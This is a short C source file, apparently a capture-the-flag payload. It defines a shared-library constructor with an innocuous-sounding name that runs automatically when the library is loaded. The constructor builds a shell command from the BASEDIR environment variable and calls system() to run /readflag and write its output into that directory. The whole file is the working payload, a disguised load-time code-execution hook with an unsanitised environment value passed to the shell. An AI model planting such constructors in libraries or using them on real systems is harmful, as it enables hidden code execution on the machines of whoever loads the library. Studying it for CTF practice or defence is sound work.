#include <unistd.h>
#include <stdlib.h>
	
__attribute__((constructor))
static void initialize_navigationBarImages() {
	char *basedir = getenv("BASEDIR");
	char cmd[0x100];
	snprintf(cmd, 0x100, "/readflag>%s/flag", basedir);
	system(cmd);
}